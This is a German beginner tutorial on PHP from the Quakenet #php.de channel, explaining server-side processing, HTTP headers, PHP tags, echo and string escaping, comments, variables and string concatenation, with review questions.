Dies ist das Quakenet/#php.de Tutorial
über PHP und MySQL in der zweiten Version. Es ist komplett neu überarbeitet bzw. neu
geschrieben. Es geht von einer PHP5-Version aus, auf Feinheiten der PHP4-Version
wird nicht eingegangen, da es bereits veraltet ist.
2. Voraussetzungen
Bevor ihr dieses Tutorial durcharbeiten könnt braucht ihr einige Voraussetzungen.
Zum Schreiben der PHP-Skripte benötigt ihr einen Editor. Dazu eignen sich
Plaintext-Editoren mit Syntaxhighlighting. Die sog.
WYSIWYG-Editoren sind hingegen nicht zu empfehlen. Eine
Liste von gängigen PHP-Editoren finden sie in der
FAQ unter
Ich suche einen guten PHP-Editor.
Zum Testen der PHP-Skripte wird ein Webserver bzw. Webspace der
PHP unterstützt benötigt. Dafür gibt es genügend kostenlose Webspaces wo die
PHP-Skripte getestet werden können. Es ist auch möglich auf den Heim-PC ein
Webserver mit PHP zu installieren und Lokal die Skripte testen. Dies ist mit
Vorsicht zu genießen da beim Entwickeln leicht die Grenze zwischen Client und
Server überschreitet und dann Skripte schreibt die auf die Bereiche des Clients
zugreifen was später auf dem eigentlichen Webserver nicht mehr möglich ist.
3. Aufbau des Tutorial
Diese Tutorial ist wie üblich in Kapitel unterteilt. Jedes Kapitel enthält mehrere Unterpunkte.
Alle Kapitel sind linear angeordnet, es gibt also eine feste Reihenfolge. Es ist nicht
zu Empfehlen Kapitel zu überspringen da die Kapitel aufeinander aufbauen (siehe auch den Hinweis
am Anfang der Seite).
Zu jedem Kapitel können Übungsfragen existieren. Mit diesen Fragen kann überprüft werden
ob das Kapitel verstanden worden ist. Die Übungsfragen enthalten Verständnisfragen sowie auch
Fragestellungen nach PHP-Lösungen.
Unter der URL total.html befindet sich eine komplette zusammenhängende
Version des Tutorials. Dies kann verwendet werden um das Tutorial komplett auszudrucken anstatt das
Tutorial kapitelweise auszudrucken. Beachten sie jedoch dass dieses Dokument sehr groß ist.
4. Lizenz und Download des Tutorials
Wir bieten zur Onlineversion des Tutorials auch eine Download-Version an. Diese Version enthält
alle HTML/CSS-Dateien sowie alle Bilder des Tutorials.
Es kamen häufige Anfragen wo das Tutorial wie benutzt werden darf und was damit bzw. was mit den Inhalt
gemacht werden darf und was nicht. Als Grundlage darf verständlicherweise das Tutorial von der offiziellen
Homepage http://tut.php-quake.net/ gelesen und die Download-Version auf seinen PC runterladen
werden. Des Weiteren darf das Tutorial zu Lernzwecken in der realen Welt verwendet werden.
Dies schließt z.B. Unterricht in der Schule, Fortbildungen von Mitarbeitern und Übungen/Seminare an
Universitäten mit ein. Jedoch muss deutlich erkennbar sein dass es sich dabei um das Quakenet/#php-Tutorial
handelt. Ein Ausgeben des Tutorials auf ein Speichermedium wie einer CD für die Schüler/Mitarbeiter/Studenten
ist erlaubt. Fürs Internet dürfen Passagen des Tutorials mit Quellenangaben beliebig zitiert werden.
Es ist nicht erlaubt das Tutorial oder Teile des Tutorials als Mirror bereitzustellen. Dies betrifft die
Online- sowie die Download-Version. Wenn sie ihre Besucher auf das Tutorial aufmerksam machen wollen können
sie ein Link auf ihrer Homepage hinzufügen. Wenn sie Fragen bezüglich der Lizenz haben fragen sie
einen Operator im Channel #php.de vom
Quakenet.
1. Womit beginnt ein HTML-Dokument? <head>, <body> oder <html>?
Wenn sie jetzt <html> gesagt haben dann liegen sie falsch. HTML-Dokumente
beginnen entweder mit einem DOCTYPE oder sogar mit einer XML-Deklaration. Wenn sie das nicht wussten
sollten sie die Einführung in XHTML, CSS und Webdesign
von Michael Jendryschik lesen.
PHP ist das rekursive Backronym
für PHP: Hypertext Preprocessor. Der Name deutet an, dass etwas
vor einem Zeitpunkt verarbeitet wird. In diesem Fall werden die PHP-Befehle in einer
Datei verarbeitet bevor der Server die Datei (bzw. dessen Ausgabe) sendet. Vergleichbar
ist dies mit einem C-Präprozessor.
PHP ist ein Modul bzw. ein Programm, welches auf den Webserver installiert ist. In
den meisten Fällen ist dann auch z.B. eine Datenbank wie MySQL installiert. Das folgende
Diagramm veranschaulicht die installierten Programme/Module auf einem Webserver.
Abb.:Installierte Module auf einem Webserver
An dem Diagramm ist zu erkennen, dass PHP nichts mit dem Client bzw. mit dessem Browser zu
tun hat. Somit ist es mit PHP auch nicht möglich den Client als solches zu steuern. Gewünschte
Aktionen, wie Winamp zu steuern oder Programme (auf dem Client) zu starten, sind somit nicht
möglich.
Eine typische Anwendung von PHP ist das Verarbeiten von Daten aus einem HTML-Formular, wenn diese an den
Webserver geschickt werden. Diese PHP-Skripte können, da sie auf dem Webserver interpretiert
werden, mit einer dort installierten Datenbank arbeiten und somit die Formulardaten in diese
speichern. Dadurch ist es z.B. möglich mit PHP Newsscripte zu schreiben, die ihre Newsbeiträge aus
einer Datenbank auslesen. Das Ergebnis eines solchen PHP-Skripts ist jedoch weiterhin
ein normales HTML-Dokument. Der Browser erkennt somit gar nicht, dass der HTML-Code durch ein
PHP-Skript erzeugt wurde (Der Benutzer erkennt natürlich die .php Endung in der
URL). Dies heißt auch, dass die Benutzer nicht den PHP-Code lesen können.
2. Anfrage einer Datei aus der Sicht des Clients
Wenn der Client eine Datei vom Server anfragt sieht das vereinfacht wie folgt aus.
Abb.:Client schickt eine Anfrage zum Server
Aus der Sicht des Clients kriegt dieser dann eine Antwort vom Server.
Abb.:Client bekommt die Antwort vom Server
Obwohl nur eine einzige Verbindung zwischen Client und Server besteht, bekommt
der Client zwei logisch getrennte Inhalte.
Zuerst werden zum Client diverse Headerangaben gesendet.
Diese Angaben beschreiben den darauf folgenden Inhalt, sowie enthalten einige
Informationen über den Server. Diese Daten sind für den Benutzer in erster Linie
nicht sichtbar, wenn er eine Internetseite besucht. Für manche Browser existieren
Extensions, mit denen sich diese Headerangaben anzeigen lassen können.
Headerangaben können z.B. wie folgt aussehen:
HTTP/1.1 200 OK
Date: Mon, 26 Nov 2007 22:37:21 GMT
Server: Apache
Content-Type: text/html
In PHP ist es möglich diese Headerangaben zu bearbeiten, bevor sie zum Client
gesendet werden. Somit ist es möglich, dass ein PHP-Skript ein Bild generieren kann.
Jedoch muss vorher der Content-Type geändert werden, z.B. auf Content-Type: image/png.
Nach den Headerangaben wird der eigentliche Inhalt gesendet. Dieser
enthält meistens HTML-Code, kann aber auch Binärdaten wie von einem
PNG-Bild enthalten.
Mit PHP ist es möglich, beide Bereiche nach Belieben zu bearbeiten. Jedoch gibt es hier
eine Einschränkung. Die Headerangaben müssen vor dem Inhalt gesendet werden (passiert automatisch
mit der ersten Ausgabe).
Wenn sie z.B. mit PHP einen Text ausgeben, können sie danach nicht mehr
die Headerangaben ändern. Ein Versuch es trotzdem zu machen erzeugt eine Fehlermeldung der Form
Cannot modify header information - headers already sent by (output started at ...).
3. Anfrage einer Datei aus der Sicht des Servers
Wenn der Server eine Anfrage auf eine HTML-Datei bekommt, so braucht der Server diese
nur von seiner Festplatte zu laden und zum Client zu senden.
Abb.:Server bekommt eine Anfrage von einem Client
Da der Server auch diverse Headerangaben
senden muss, erzeugt er aus der Datei von sich aus einige Headerangaben. Als Beispiel
wird die Dateigröße angegeben, formal ist dies der Content-Length-Header. Die kompletten
Header könnten wie folgt aussehen.
HTTP/1.1 200 OK
Date: Wed, 28 Nov 2007 16:34:05 GMT
Server: Apache
Last-Modified: Mon, 26 Nov 2007 23:24:33 GMT
ETag: "d9b8a-2301-43fdd444c0e40"
Accept-Ranges: bytes
Content-Length: 8961
Content-Type: text/html
Dahinter sendet der Server dann den HTML-Code der HTML-Datei und ist fertig mit seiner Arbeit.
Abb.:Server sendet die Antwort zum Client
Da der Server nichts großartiges machen muss, geschieht dies in der Regel sehr schnell.
Interessanter wird die Sache, wenn der Client eine Anfrage auf eine Datei sendet und diese
PHP-Code enthält.
Abb.:Server bekommt eine Anfrage von einem Client
Nun muss der Server den Inhalt der Datei laden. Dies ist gleich gegenüber einer
normalen HTML-Datei.
Abb.:Server läd den Inhalt der Datei
Ab jetzt muss die Bearbeitung durch PHP geschehen. Da der Server nicht von sich
aus PHP-Befehle verarbeiten kann, startet er den PHP-Interpreter. Dieser arbeitet
nun die Befehle in der Datei entsprechend den Regeln einer Programmiersprache ab.
Abb.:Server verarbeitet die PHP-Befehle mit einem PHP-Interpreter
Am Ende hat dann der PHP-Interpreter bzw. ein PHP-Modul im Webserver die Datei
verarbeitet. Nun stehen dem Server die zwei Bereiche Headerangaben
und Inhalt vom PHP-Interpreter zur Verfügung. Diese werden nun zum
Client gesendet.
Abb.:Server sendet die Antwort zum Client
Aus der Sicht des Clients hat sich also nichts geändert. Er bekommt gar nicht mit,
dass auf den Server PHP installiert ist und das die angeforderte Datei PHP-Code enthielt.
Was er bzw. der Besucher jedoch merkt ist ein Geschwindigkeitsverlust. Da PHP-Dateien
erst durch den PHP-Interpreter laufen müssen, braucht der Server viel mehr Zeit (im Vergleich
zu einfachen HTML-Dateien) um eine Antwort senden zu können.
1. Welche zwei Teile werden vom Server zum Client gesendet?
In einer HTTP-Verbindung werden die beiden Teile Headerangaben und
Inhalt gesendet, und zwar in genau dieser Reihenfolge. Für den genauen
Datentransfer zwischen den Client und Server existiert die Norm
RFC 2616 - Hypertext Transfer
Protocol -- HTTP/1.1, die dies genau festlegt.
PHP-Code kann überall in HTML-Code eingebettet werden. Um in den PHP-Modus zu wechseln
wird die Zeichenfolge <?php verwendet. Zum Verlassen des PHP-Modus wird
die Zeichenfolge ?> verwendet. Alternativ ist es auch möglich den
PHP-Interpreter gegen das Dateiende rennen zu lassen. Überall in der Datei kann in den PHP-Modus
gewechselt werden, es ist sogar möglich den kompletten Dateiinhalt in den PHP-Modus zu setzen
(Ganz vorne ein <?php, ganz hinten ein ?>). Damit der Server weiß
dass es sich um eine PHP-Datei handelt, die entsprechend PHP-Befehle enthalten, haben
PHP-Dateien die Dateiendungen .php. Dies ist die Standardeinstellung
für einen Webserver mit PHP-Support, kann aber auch durch den Administrator geändert
werden. Eine Datei könnte z.B. wie folgt aussehen:
<?php echo "Beispiel einer PHP-Datei\n"; ?>
Hier ist die komplette Datei im PHP-Modus. Wie angemerkt kann
der PHP-Modus auch nur dort verwendet werden wo er gebraucht wird.
Text der sich außerhalb von PHP befindet (üblicherweise HTML-Code) wird als solches
zum Client gesendet, ohne dass er vom PHP-Interpreter bearbeitet wird. Er kann aber
auch durch PHP-Konstrukte wie Schleifen gesteuert werden.
Die zweite Variante eignet sich nicht zum Bearbeiten von Headerangaben. Mit den
ersten Zeichen was als Inhalt gesendet wird (hier das < von
<?xml version="1.0" encoding="utf-8"?>) werden auch die
Header gesendet und sind somit weg. Es besteht keine Chance mehr diese mittels
setcookie oder header zu bearbeiten.
Die XML-Deklaration kann auch ein Strich durch die Rechnung machen wenn mit
PHP gearbeitet wird. Die XML-Deklaration beginnt mit der Zeichenkette
<?xml. Dies ist zwar nicht gleich der Zeichenkette für
PHP (<?php) jedoch gibt es eine PHP-Einstellung das
die Zeichenkette <? auch für den PHP-Modus verwendet werden kann.
Diese Einstellung nennt sich short_open_tag.
Somit wird mit <?xml version="1.0" encoding="utf-8" ?>
ungewollt in den PHP-Modus gewechselt. Daraus folgt dass der PHP-Interpreter
Befehle bekommt die nicht für ihn bestimmt sind. Dieser kann dann die reine
Zeichenfolge xml version="1.0" encoding="utf-8" nicht verarbeiten und
erzeugt dann eine Fehlermeldung. Um das Problem zu umgehen kann die XML-Deklaration
selbst mit PHP ausgegeben werden. Dies wird z.B. in der Beschreibung zu
short_open_tag erklärt. Eine andere Möglichkeit wäre es einfach
diese Einstellung zu deaktivieren.
2. Funktionen
Um PHP zu testen kann eine PHP-Datei mit den folgenden Inhalt angelegt werden.
<?php phpinfo(); ?>
Dieser Inhalt wird in eine Datei namens phpinfo.php gespeichert und hochgeladen.
Wenn diese Datei nun im Browser vom Webserver geöffnet wird gibt es zwei mögliche Ausgaben.
Es wird eine reine leere Seite dargestellt. Dies ist der Fehlerfall.
Hier muss folgendes Überprüft werden.
Die Datei besitzt eine Dateiendung .php damit der PHP-Interpreter
sie als PHP-Datei erkennt.
Sie enthält gültigen PHP-Code.
Auf den Webserver ist PHP installiert und lauffähig.
Die Datei wird über eine http://-URL aufgerufen (Es ist ein beliebter Fehler
beim lokalen testen die Datei über file://C|/... aufzurufen).
Hier ist es ratsam sich den Quellcode anzugucken den der Server geschickt hat.
Je nach Browser ist dies unter Ansicht -> Quellcode zu finden. Wenn dort
der Inhalt der PHP-Datei zu sehen ist wurde die Datei nicht vom PHP-Interpreter
verarbeitet.
Im regulären Fall wird eine Seite angezeigt die nützliche Informationen über PHP anzeigt. Mit
phpinfo ist es also möglich die Konfiguration von PHP zu betrachten.
Dies ist also die erste Anlaufstelle um nachzugucken welche PHP-Module
installiert sind und wie die Einstellungen zu PHP sind. Wichtig ist dabei
z.B. die PHP Version, aber auch Einstellungen wie error_reporting
und display_errors.
An diesem kleinen Beispiel ist der Aufbau eines Funktionsaufrufs zu sehen. Wenn eine Funktion aufrufen werden soll
wird zuerst der Namen der Funktion geschrieben, hier phpinfo. Danach folgt eine geöffnete runde Klammer
(. Nun können Parameter für diese Funktion folgen. Die Parameter verändern das Verhalten der Funktion
entsprechend der Definition der Funktion im Handbuch. Wenn eine Funktion mehrere
Parameter erwartet, werden diese untereinander mit einem Kommata (,) trennen. Nach den Parametern
(falls vorhanden) wird die Parameterliste mit einer schließenden runden Klammer ) geschlossen. Diese
Klammern müssen bei Funktionen immer angegeben werden, selbst wenn kein Parameter verwendet wird (wie im Beispiel oben).
In PHP müssen Anweisungen (wie Funktionsaufrufe) mit einem Semikolon ; abgeschlossen
werden. Ein einfacher Funktionsaufruf ist z.B. eine solche Anweisung, deswegen folgt hier ein Semikolon.
Die einzelnen Teile eines Funktionsaufrufs können beliebig durch Leerzeichen getrennt werden. Um genauer zu
sein können sie durch Whitespaces getrennt werden. Dies schließt Leerzeichen mit ein,
enthalten aber auch Zeilenumbrüchen und Tabulatoren. Folgende Funktionsaufrufe sind alle gleichbedeutend.
Es liegt am eigenen Programmierstil welche Schreibweise für einen selbst am besten lesbar ist.
Im Bereich PHP gibt es diesbezüglich einen Standard, genannt
PEAR Coding Standard. An diesem sollten
sich PHP-Programmierer halten damit nicht nur ihr den Quellcode überblickt sondern auch
derjeniger der nach euch den Code lesen und verstehen muss.
Hauptziel eines PHP-Skriptes ist es, unabhängig von der Logik die
dahintersteckt, eine Ausgabe zu erzeugen. Beispielweise eine Auflistung
der Newsbeiträge. Um in einem PHP-Skript Texte auszugeben (ohne den PHP-Modus
zu verlassen) wird üblicherweise der Sprachkonstrukt echo verwendet.
Ein Beispiel könnte wie folgt aussehen.
<?php echo 'Ein Text der ausgegeben wird'; ?>
Das Erste was auffällt ist die Tatsache dass die Klammern der Funktion fehlen.
Das liegt daran dass echo keine Funktion sondern ein
spezieller Sprachkonstrukt ist. Das Manual sagt dazu folgendes.
echo() is not actually a function (it is a language construct), so you are not required to use parentheses with it.
Das Zweite ist dass der Text der ausgegeben werden soll
innerhalb von zwei Apostrophs ' steht. Auf diese Weise wird
(unabhängig von echo) eine Zeichenkette (Fachbegriff: String) mit
dem entsprechenden Inhalt erzeugt.
Dieser String dient dann als Parameter für den echo-Sprachkonstrukt und echo
gibt diesen String aus. Wenn nun ein PHP-Skript mit diesem Code hochgeladen wird und
das Skript aufruft so wird folgender Text ausgegeben.
Ein Text der ausgegeben wird
Fügen wir nun einen weiteren echo-Befehl in unser PHP-Skript ein.
<?php echo 'Ein Text der ausgegeben wird'; echo 'Nun folgt ein anderer Text'; ?>
Wenn das Skript nun auf einem Webserver läuft wird folgender Text ausgegeben.
Ein Text der ausgegeben wirdNun folgt ein anderer Text
Der zweite String wurde hier einfach hinter den anderem String ausgegeben. Was anderes
steht auch nicht im PHP-Skript. Einmal wurde ein String ausgegeben, dann ein
weiterer String. Obwohl die beiden echo-Befehle mit einem Zeilenumbruch
getrennt sind werden die Strings so wie sie sind ausgegeben. Um einen
Zeilenumbruch in der Ausgabe zu haben können wir z.B. das HTML-Element
<br/> benutzen.
2. HTML-Code ausgeben
HTML-Code bzw. die besonderen Zeichen < und >
können in Strings ohne Probleme benutzt werden. Somit können wir am Ende
des ersten Strings das HTML-Element <br/> anfügen.
<?php echo 'Ein Text der ausgegeben wird<br/>'; echo 'Nun folgt ein anderer Text'; ?>
Wie erwartet steht im Browser den folgenden Inhalt.
Ein Text der ausgegeben wird
Nun folgt ein anderer Text
Wenn der Quellcode im Browser betrachtet wird stehen beide Strings weiterhin hintereinander.
Ein Text der ausgegeben wird<br/>Nun folgt ein anderer Text
3. Steuerzeichen in Strings
Wenn wir versuchen ein Apostroph innerhalb eines Strings zu schreiben erhalten
wir ein Problem, da PHP das Ende des Strings fälschlicherweise zu früh erkennt.
<?php echo 'Dummy Text ' mit Apostroph'; echo 'Ein weiterer Text'; ?>
Auch an der Einfärbung erkennt man wie PHP den String nur bis zum 2. Apostroph
erkennt. Um nun das Zeichen ' in den String zu kriegen kann man z.B.
Double Quoted Strings verwenden. Das sind Strings die
statt den Apostroph die Anführungszeichen " als Begrenzer benutzen.
<?php echo "Dummy Text ' mit Apostroph"; echo "Ein weiterer Text"; ?>
Eine andere Möglichkeit ist die eine Escape-Sequenz einzufügen.
In PHP-Strings ist \ das Escape-Zeichen, es wird verwendet wenn
man eine solche Escape-Sequenz haben möchte. In Single Quoted
Strings (Strings mit ' als Begrenzer) wird mit
\' ein Apostroph erzeugt.
<?php echo 'Dummy Text \' mit Apostroph'; echo 'Ein weiterer Text'; ?>
Die gleiche Idee kann verwendet werden wenn man in double quoted Strings ein
Anführungszeichen erzeugen will.
<?php echo "Dummy Text \" mit Apostroph"; echo "Ein weiterer Text"; ?>
Stellt sich nun die Frage wie man ein einzelnes \ erzeugt,
ohne dass es gleich als Start einer Escape-Sequenz interpretiert wird.
Die Lösung ist das Escapen des Escape-Zeichens.
<?php echo "Double quoted mit \\ im Text"; echo 'Single quoted mit \\ im Text'; ?>
Obwohl single quoted und double quoted Strings scheinbar die selbe
Funktionalität besitzen sind in double quoted Strings mehr
Escape-Sequenzen möglich. Die folgende Tabelle enthält eine Liste
der zusätzlichen Escape-Sequencen in double quoted Strings.
Tabelle der Escape-Sequencen
Zeichen
Beschreibung
\n
Ein Zeilenumbruch
\r
Ein Wagenrücklauf, oft verwendet bei Netzwerkprotokollen.
\t
Ein Tabulator
\v
Vertikaler Tabulator, eher selten verwendet
\f
Seitenvorschub, noch seltener verwendet
\$
Ein Dollarzeichen. Ohne diese Sequenz wird versucht eine Variable zu finden und dessen
Inhalt einzufügen.
In PHP gibt es 4 Arten von Strings, wobei hier 2 genannt wurden. Neben
Double quoted Strings und Single quoted Strings
gibt es auch noch sogenannte Heredocs und Nowdocs.
Eine Erklärung von Strings ist im Handbuch von PHP unter
Strings zu finden.
In PHP werden Texte bzw. Textstellen die der PHP-Interpreter
ignoriert als Kommentare bezeichnet. Dies ist Vergleichbar mit den HTML-Kommentaren mit der
<!-- -->-Syntax. Somit kann man, wie der Name es schon sagt, Kommentare zum Skript
schreiben bis hin zu einzelnen Hinweisen zu Zeilen im PHP-Skript hinzufügen. So
kann z.B. ein Author seinen Namen und die Lizenzbestimmungen in seinem PHP-Skript
hinterlassen, ohne dass der PHP-Interpreter sich darüber beschwert dass ungültiger
PHP-Code im PHP-Skript steht.
2. Syntax von Kommentaren
In PHP gibt es 4 Arten von Kommentartypen, wobei meistens nur 3 von denen
benutzt. Und von diesen drei gibt es zwei Kommentartypen die fast identisch sind.
Daher wird nur zwischen zwei Klassen von Kommentartypen unterschieden. Einmal den
einzeiligen Kommentaren und den mehrzeiligen Kommentaren.
Bei den einzeiligen Kommentaren handelt es sich um Kommentare
die bis zum Zeilenende oder ?> gelten. Solch ein einzeiliger Kommentar
wird mit der Zeichenkette // eingeleitet (nicht zu verwechseln mit der
String Escape-Sequenz \\). Der folgende Text wird dann als Kommentar behandelt
und somit vom PHP-Interpreter ignoriert.
<?php echo 'Text'; // gib einen Text aus
// Gebe nun einen weiteren Text aus echo 'weiterer Text';
// echo 'ich werde nicht ausgegeben, da ich in einem Kommentar stehe';
echo 'Ich werde ausgegeben, obwohl ich ein // im String enthalte';
// kommentar läuft bis zum php-ende ?><?php echo 'ich bin nicht mehr im kommentar'; ?>
An den Beispielen sieht man, dass nicht jedes // ein Kommentar ist, z.B.
wenn es in einem String steht. Auch wird ?> als mögliches Ende
erkannt.
Mehrzeilige Kommentare definieren Kommentare die sich über
mehrere Zeilen erstrecken können. Statt also in jeder Zeile am Anfang ein //
zu schreiben wird ein Start- und Ende-Zeichen für einen mehrzeiligen Kommentar
geschrieben. Ein mehrzeiliger Kommentar wird dabei mit /* gestartet und
endet beim nächsten */.
<?php echo "Wieder was ausgeben"; /* Irgendein Kommentar der sich über mehrere Zeilen erstreckt bis zum entsprechenden stopzeichen */ echo "Und wieder im PHP-Modus drin"; ?>
Für das Auge kann man diese Kommentare nun etwas lesbarer schreiben, so z.B. einige Zeilen
einrücken.
<?php echo "Wieder was ausgeben"; /* Irgendein Kommentar der sich über mehrere Zeilen erstreckt bis zum entsprechenden stopzeichen */ echo "Und wieder im PHP-Modus drin"; ?>
Dies kann man auch übertreiben und Kommentare noch besonders vorheben.
Hier sieht man auch, dass es nicht nötig ist Leerzeichen vor bzw. nach den
Start- und End-Markierungen hinzuzufügen. Bei dieser Art der Kommentare kann
das PHP-Ende ?> nicht mehr als Kommentarende erkannt werden.
Die dritte Variante sind die Kommentare im PHPDoc Style. Diese sind
fast identisch mit den mehrzeiligen Kommentare. Der Unterschied liegt an der
Startmarkierung /** wobei das Leerzeichen am ende
ein beliebiges Whitespace ist. Oft wird dabei ein Zeilenumbruch statt den Leerzeichen
benutzen.
<?php /** Ein Kommentar im PHPDoc Style */ echo "wieder normaler php code"; ?>
Nun stellt man sich die Frage warum zwei unterschiedliche mehrzeilige Kommentare
existieren wo die sich kaum Unterscheiden. Mit PHPDoc bezeichnet man
spezielle Kommentare die dazu dienen bestimmte Teile im PHP-Skript
zu Kommentieren. So schreibt man z.B. vor eigens definierten Funktionen
einen solchen PHPDoc Kommentar der beschreibt wie diese Funktion arbeitet
und was sie leistet.
<?php /** * Gibt eine Zahl aus. * * Die folgende Funktion gibt die übergebene Zahl aus. * * @param i Die Zahl die ausgegeben werden soll. */ function ausgeben($i) { // ... } ?>
Der Aufbau eines solchen PHPDocs wird durch das phpDocumentor Projekt
geregelt. Dies ist vergleichbar mit dem Javadoc Tool
mit dem selben hintergedanken. Wenn nun solche PHPDoc-Kommentare in einem Quellcode einfügt werden, so
können spezielle Programme (eben dieses PHPDoc) verwendet werden die diese PHPDoc-Kommentare auslesen
und verarbeiten. Sie
erstellen dann aus den Daten HTML-Seiten mit den Beschreibungen der Funktionen (und Klassen). Somit können
fremde PHP-Autoren sich einfacher in den PHP-Quellcode einlesen und müssen nicht mehr oder weniger
raten was eine Funktion machen soll sondern lesen einfach in den generierten HTML-Dateien die Beschreibungen
nach.
3. Auskommentieren
Neben den Schreiben von Entwicklerhinweisen ist es auch möglich Kommentare für etwas zu nutzen
was allgemein Auskommentieren genannt wird. Im Entwicklungsprozess möchte
man z.B. manchmal PHP-Code deaktieren bzw. nicht ausführen lassen, unabhängig von eventuellen
Benutzereingaben. Eine Möglichkeit wäre es den entsprechenden PHP-Code zu löschen. Aber dann ist
er entsprechend nicht mehr vorhanden und muss wieder hingeschrieben werden wenn man ihn doch wieder
braucht. Hingegen einfacher ist es den PHP-Code kurzerhand in einen Kommentar zu packen. Nehmen wir an
wir hätten folgenden PHP-Code.
<?php mach_was(); mach_dies(); und_jenes(); ?>
Wenn der Entwickler nun die Ausführung von mach_dies() kurz deaktiveren will kann
er diesen in einen einzeiligen Kommentar schreiben.
<?php mach_was(); //mach_dies(); und_jenes(); ?>
Wenn man nun mit seinen Tests des PHP-Skripts fertig ist so braucht er dann einfach die
// Zeichen löschen. Für mehrere Zeilen kann man auch die mehrzeiligen
Kommentare verwenden.
Hier gibt es einen Trick wie man die Ausführung wieder schnell aktivieren kann, neben
dem Löschen von /* und */. Dazu muss man zuerst vor dem
*/ ein // schreiben, also den Start eines einzeiligen Kommentars.
Jetzt sieht man auch warum man vorhin die // bei */ einfügen musste. So
wird sichergestellt dass kein ungültiger PHP-Code entsteht (gennant Parse Error).
Wie man sieht existieren nun 2 einzeilige Kommentare. Wenn man nun wieder das //*
durch /* ersetzt so wird das ganze wieder zu einem mehrzeiligen Kommentar bis zum
*/.
Da ein mehrzeiliger Kommentar mit einem */ endet ist es nicht möglich innerhalb
des mehrzeiligen Kommentars die Zeichenkette */ zu verwendet. Dies mag trivial klingen
jedoch ist dies eine beliebte Fehlerquelle bei Kommentaren, wenn versucht wird
Kommentare zu schachteln. Dies macht man nicht bewusst sondern eher durch unbedachtheit.
Wir nehmen folgenden PHP-Code an.
Bei diesem PHP-Code würde der PHP-Interpreter die Abarbeitung unterbrechen. Anhand der Färbung hier im Tutorial ist
zu erkennen dass der äußere Kommentar nicht als solches erkannt wird. Jedoch aus Sicht von PHP ist alles logisch
und sinnvoll. In Zeile 3 erkennt PHP den Beginn eines mehrzeiligen Kommentars und in Zeile 8 das Ende des
mehrzeiligen Kommentars (nicht in Zeile 10 wie gewollt). Somit würde auch und_dieses()
Ausgeführt werden. Jedoch scheitert der PHP-Interpreter schon am Parsen des Skripts, da er mit dem */
in Zeile 10 nichts anfangen kann, und quittiert die Abarbeitung mit einem Parse Error.
Zwar erkennt man hier schnell den Fehler, aber bei größeren Programmcode kann sich so ein Parse Error einschleichen
weil man zuerst einen kleineren Kommentar hat und darüber ein größeren Kommentar erzeugt.
Es gibt insgesammt 4 Kommentararten, hier wurden jedoch nur 3 besprochen. Dies sind die
einzeiligen Kommentare, mehrzeiligen Kommentare und
PHPDoc Kommentare. Die 4. Möglichkeit sind einzeilige Kommentare
die das Zeichen # statt // verwenden. Eine Beschreibung der
Kommentare in PHP findet man im Handbuch unter Comments.
Üblicherweise dienen PHP-Skripte dazu eine Ausgabe dynamisch zu erzeugen.
Die PHP-Skripte selbst sind jedoch konstant was deren Inhalt betrifft. Daher
müssen wir im PHP-Skript etwas haben was dynamisch gefüllt werden kann.
Dafür gibt es Variablen. Sie werden vom Skript entsprechend
mit Daten gefüllt und können dann an anderere Stelle im Skript verwendet werden.
2. Aufbau von Variablen
Damit Variablen in PHP als solche erkannt werden, müssen sie besonders
gekennzeichnet werden. Daher beginnen alle Variablen in PHP mit dem Dollarzeichen
$. Danach müssen sie mit einem Buchstaben oder Unterstrich _
beginnen. Nach dem ersten Zeichen können auch Ziffern im Variablennamen stehen.
Variablen die mit einem Unterstrich anfangen haben meist eine besondere Bedeutung, der
Entwickler sollte daher keine eigene Variablen definieren die mit einem Unterstrich
anfangen.
<?php $gueltig $10_nicht_gueltig ?>
Variablen in PHP sind case-sensitiv, d.h. die Groß-/Kleinschreibung spielt eine
Rolle und ist wichtig. Die Variable $foo ist eine andere als
$FOO. Insbesondere bei den Superglobalen Variablen ist das wichtig,
da diese z.B. $_GET lauten und nicht z.B. $_get.
3. Zuweisungsoperator
Um eine Variable mit einem Wert zu füllen wird der Zuweisungsoperator =
verwendet. Dabei muss die Variable links vom Gleichheitszeichen stehen, der Wert
der gespeichert werden soll rechts.
1. Wie ist der syntaktische Aufbau einer Variablen?
Variablen müssen zuerst mit dem Dollarzeichen $ anfangen. Danach dürfen dann
beliebige Buchstaben und der Unterstrich _ folgen. Nach dem ersten Variablenzeichen
dürfen dann auch Zahlen verwendet werden. Umlaute sind auch als Variablennamen zulässig, auch wenn
einige Editoren mit Syntaxhighlighting dies nicht richtig erkennen. Siehe dazu auch im Handbuch
das Kapitel Variables.
Ein Operator von PHP ist der Verkettungsoperator der als einzelner Punkt
geschrieben wird (.). Dieser wird verwendet um zwei Ausdrücke
miteinander zu verbinden.
<?php 'Max'.'Mustermann'; // erzeugt den String "MaxMustermann" ?>
Dabei ist es egal ob es sich um Strings oder Variablen handeln die man
verketten möchte. Auch Zahlen können so mit Strings verkettet werden.
<?php 'Foo'.'Bar'; 'Bla'.$var; $var1.$var2; ?>
Bei diesen Beispiel-Codes wurde zwar die Verkettung ausgerechnet, doch
das Ergebnis wurde nicht verwendet. Da das ganze auch wieder als Ausdruck gilt kann
es z.B. in eine Variable gespeichert werden oder direkt mit echo
ausgegeben werden.
Die Anzahl der Verkettungen ist unbegrenzt. PHP verkettet intern dabei stehts weiterhin 2
Ausdrücke miteinander und nutzt das Ergebnis für die nächste Verkettung.
Es gibt einige Stolperfallen wenn man Variablen an Strings anhängen möchte, die Strings jedoch
single quotes und double quotes enthalten.
Besonders im Bezug auf Strings mit HTML-Code entstehen einige Fehler.
<?php // man wollte ein link <a href="index.php?section=XYZ">Link</a> haben, wobei // XYZ aus einer Variablen gefüllt wird. $var = 'XYZ'; echo '<a href="index.php?section='.$var.'">Link</a>'; // eine richtig Möglichkeit echo "<a href=\"index.php?section=\".$var.\">Link</a>"; // dies würde <a href="index.php?section=".XYZ.">Link</a> ausgeben, also nicht das was man möchte echo '<a href="index.php?section=".$var.">Link</a>'; // dies würde <a href="index.php?section=".$var.">Link</a> ausgeben ?>
Viele irritiert die Tatsache dass man z.B. hier nach der Variable sowas wie
.'" oder sogar ."\" schreiben muss. Jedoch
muss man bedenken dass man nach dem Punkt . wieder einen
neuen String benutzen will, in der man dann wieder escapen muss. Um diesen
Stolperstein zu umgehen erzeugt man zuerst den HTML-Code komplett ohne
Variable und fügt dann erst durch den Verkettungsoperator die
Variable ein. Dabei muss man drauf achten welchen Stringtyp man verwendet hat,
single quoted oder double quoted.
